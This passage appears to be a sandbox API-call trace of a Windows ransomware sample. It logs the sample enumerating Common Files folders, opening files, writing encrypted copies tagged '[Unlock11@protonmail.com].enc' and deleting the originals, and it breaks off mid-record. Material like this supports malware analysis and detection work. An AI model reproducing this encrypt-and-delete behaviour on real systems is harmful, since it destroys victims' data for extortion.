FindNextFileA (in: hFindFile=0x10f7750, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfbb8d0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6dfbb8d0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6dfbb8d0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="verisign.bmp", cAlternateFileName="")) returned 0 [0199.479] FindClose (in: hFindFile=0x10f7750 | out: hFindFile=0x10f7750) returned 1 [0199.480] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files (x86)\\common files\\services\\verisign.bmp")) returned 0x20 [0199.480] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3887338 | out: hHeap=0x2ad0000) returned 1 [0199.480] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881078 [0199.480] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x38811e0 | out: hHeap=0x2ad0000) returned 1 [0199.480] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp", lpFilePart=0x9bada4*="verisign.bmp") returned 0x39 [0199.480] GetFileAttributesExA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files (x86)\\common files\\services\\verisign.bmp"), fInfoLevelId=0x0, lpFileInformation=0x9bb4ec | out: lpFileInformation=0x9bb4ec*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfbb8d0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6dfbb8d0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6dfbb8d0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa8e)) returned 1 [0199.481] CryptGenRandom (in: hProv=0x1052bf0, dwLen=0x10, pbBuffer=0x366823c | out: pbBuffer=0x366823c) returned 1 [0199.481] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc0) returned 0x36229a8 [0199.481] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x34a3c68 [0199.481] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x36229a8 | out: hHeap=0x2ad0000) returned 1 [0199.481] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files (x86)\\common files\\services\\verisign.bmp"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x334 [0199.481] GetFileType (hFile=0x334) returned 0x1 [0199.482] GetFileType (hFile=0x334) returned 0x1 [0199.482] GetFileInformationByHandle (in: hFile=0x334, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.482] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.482] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.482] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.482] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.482] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.482] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.482] CreateFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp.[Unlock11@protonmail.com].enc" (normalized: "c:\\program files (x86)\\common files\\services\\verisign.bmp.[unlock11@protonmail.com].enc"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x9bb430, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x39c [0199.483] GetFileType (hFile=0x39c) returned 0x1 [0199.483] GetFileType (hFile=0x39c) returned 0x1 [0199.483] GetFileInformationByHandle (in: hFile=0x39c, lpFileInformation=0x9bb4ac | out: lpFileInformation=0x9bb4ac) returned 1 [0199.483] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4c0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.483] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.483] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b8, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.483] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.484] FileTimeToLocalFileTime (in: lpFileTime=0x9bb4b0, lpLocalFileTime=0x9bb4f0 | out: lpLocalFileTime=0x9bb4f0) returned 1 [0199.484] FileTimeToSystemTime (in: lpFileTime=0x9bb4f0, lpSystemTime=0x9bb4e0 | out: lpSystemTime=0x9bb4e0) returned 1 [0199.539] CloseHandle (hObject=0x39c) returned 1 [0199.540] CloseHandle (hObject=0x334) returned 1 [0199.540] DeleteFileA (lpFileName="C:\\Program Files (x86)\\Common Files\\Services\\verisign.bmp" (normalized: "c:\\program files (x86)\\common files\\services\\verisign.bmp")) returned 1 [0199.541] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\*.*", lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ecb1f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f7390 [0199.542] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbb9ecb1f, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.542] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbba47a90, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="ado", cAlternateFileName="")) returned 1 [0199.542] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x97d98b2b, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x97d98b2b, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x97d98b2b, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6c00, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="DirectDB.dll", cAlternateFileName="")) returned 1 [0199.542] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbba48bb1, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0199.543] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbbb051de, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="msadc", cAlternateFileName="")) returned 1 [0199.543] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbbb59ef4, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bad2c, dwReserved1=0x73013d47, cFileName="Ole DB", cAlternateFileName="OLEDB~1")) returned 1 [0199.543] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfbb8d0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6dfbb8d0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6dfbb8d0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xb5200, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="wab32.dll", cAlternateFileName="")) returned 1 [0199.543] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfbb8d0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6dfbb8d0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6dfbb8d0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb600, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 1 [0199.543] FindNextFileA (in: hFindFile=0x10f7390, lpFindFileData=0x9baf70 | out: lpFindFileData=0x9baf70*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6dfbb8d0, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6dfbb8d0, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6dfbb8d0, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xeb600, dwReserved0=0x9bad2c, dwReserved1=0x0, cFileName="wab32res.dll", cAlternateFileName="")) returned 0 [0199.543] FindClose (in: hFindFile=0x10f7390 | out: hFindFile=0x10f7390) returned 1 [0199.544] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado" (normalized: "c:\\program files (x86)\\common files\\system\\ado")) returned 0x10 [0199.545] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3263088 | out: hHeap=0x2ad0000) returned 1 [0199.545] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x38810f0 [0199.545] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll" (normalized: "c:\\program files (x86)\\common files\\system\\directdb.dll")) returned 0x20 [0199.549] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8ab68 | out: hHeap=0x2ad0000) returned 1 [0199.550] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x3881108 [0199.550] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\en-US" (normalized: "c:\\program files (x86)\\common files\\system\\en-us")) returned 0x10 [0199.553] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9a8 | out: hHeap=0x2ad0000) returned 1 [0199.553] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\msadc" (normalized: "c:\\program files (x86)\\common files\\system\\msadc")) returned 0x10 [0199.553] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a868 | out: hHeap=0x2ad0000) returned 1 [0199.553] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\Ole DB" (normalized: "c:\\program files (x86)\\common files\\system\\ole db")) returned 0x10 [0199.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a568 | out: hHeap=0x2ad0000) returned 1 [0199.554] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\wab32.dll" (normalized: "c:\\program files (x86)\\common files\\system\\wab32.dll")) returned 0x20 [0199.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a568 | out: hHeap=0x2ad0000) returned 1 [0199.554] GetFileAttributesA (lpFileName="C:\\Program Files (x86)\\Common Files\\System\\wab32res.dll" (normalized: "c:\\program files (x86)\\common files\\system\\wab32res.dll")) returned 0x20 [0199.554] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a8a9e8 | out: hHeap=0x2ad0000) returned 1 [0199.555] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x3881078 | out: hHeap=0x2ad0000) returned 1 [0199.555] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\DirectDB.dll", lpFilePart=0x9bada4*="DirectDB.dll") returned 0x37 [0199.555] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x30) returned 0x3263050 [0199.555] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\wab32.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\wab32.dll", lpFilePart=0x9bada4*="wab32.dll") returned 0x34 [0199.555] GetFullPathNameA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\wab32res.dll", nBufferLength=0x208, lpBuffer=0x9bada8, lpFilePart=0x9bada4 | out: lpBuffer="C:\\Program Files (x86)\\Common Files\\System\\wab32res.dll", lpFilePart=0x9bada4*="wab32res.dll") returned 0x37 [0199.555] FindFirstFileA (in: lpFileName="C:\\Program Files (x86)\\Common Files\\System\\ado\\*.*", lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbba47a90, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName=".", cAlternateFileName="")) returned 0x10f78d0 [0199.569] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17c22b6b, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xbba47a90, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x7124ead2, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="..", cAlternateFileName="")) returned 1 [0199.569] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x72042972, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x72042972, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x72042972, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3a08, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="adojavas.inc", cAlternateFileName="")) returned 1 [0199.569] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7201c703, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7201c703, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7201c703, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3b5b, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="adovbs.inc", cAlternateFileName="")) returned 1 [0199.569] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x8b2558c7, ftCreationTime.dwHighDateTime=0x1d2a058, ftLastAccessTime.dwLowDateTime=0xbba4878a, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x8b2558c7, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="en-US", cAlternateFileName="")) returned 1 [0199.569] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6df6f405, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df6f405, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6df6f405, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xa00, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msader15.dll", cAlternateFileName="")) returned 1 [0199.570] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41982330, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x1f4e4dc1, ftLastAccessTime.dwHighDateTime=0x1d2fa0c, ftLastWriteTime.dwLowDateTime=0x419a8584, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x106200, dwReserved0=0x9bac8c, dwReserved1=0x73013d47, cFileName="msado15.dll", cAlternateFileName="")) returned 1 [0199.570] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d1df94f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d1df94f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d1df94f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xc600, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msado20.tlb", cAlternateFileName="")) returned 1 [0199.570] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d1df94f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d1df94f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d1df94f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd200, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msado21.tlb", cAlternateFileName="")) returned 1 [0199.570] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d1df94f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d1df94f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d1df94f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11000, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msado25.tlb", cAlternateFileName="")) returned 1 [0199.570] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d1df94f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d1df94f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d1df94f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msado26.tlb", cAlternateFileName="")) returned 1 [0199.570] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d1df94f, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d1df94f, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d1df94f, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11600, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msado27.tlb", cAlternateFileName="")) returned 1 [0199.570] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7075f813, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7075f813, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x70785a76, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msado28.tlb", cAlternateFileName="")) returned 1 [0199.571] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7075f813, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x7075f813, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x7075f813, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x11400, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msado60.tlb", cAlternateFileName="")) returned 1 [0199.571] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x419a8584, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x207f7b69, ftLastAccessTime.dwHighDateTime=0x1d2fa0c, ftLastWriteTime.dwLowDateTime=0x419a8584, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x4aa00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msadomd.dll", cAlternateFileName="")) returned 1 [0199.571] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d310c99, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d310c99, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d310c99, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x3600, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msadomd28.tlb", cAlternateFileName="")) returned 1 [0199.571] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d2782ec, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d2782ec, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6d2782ec, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xaa00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msador15.dll", cAlternateFileName="")) returned 1 [0199.571] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6df95674, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df95674, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6df95674, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x8c00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msador28.tlb", cAlternateFileName="")) returned 1 [0199.571] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x41982330, ftCreationTime.dwHighDateTime=0x1d2fa08, ftLastAccessTime.dwLowDateTime=0x111cc66b, ftLastAccessTime.dwHighDateTime=0x1d2fa0c, ftLastWriteTime.dwLowDateTime=0x41982330, ftLastWriteTime.dwHighDateTime=0x1d2fa08, nFileSizeHigh=0x0, nFileSizeLow=0x4fe00, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msadox.dll", cAlternateFileName="")) returned 1 [0199.571] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6df95674, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6df95674, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x6df95674, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x6000, dwReserved0=0x9bac8c, dwReserved1=0x0, cFileName="msadox28.tlb", cAlternateFileName="")) returned 1 [0199.571] FindNextFileA (in: hFindFile=0x10f78d0, lpFindFileData=0x9baed0 | out: lpFindFileData=0x9baed0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x6d310c99, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x6d310c99, 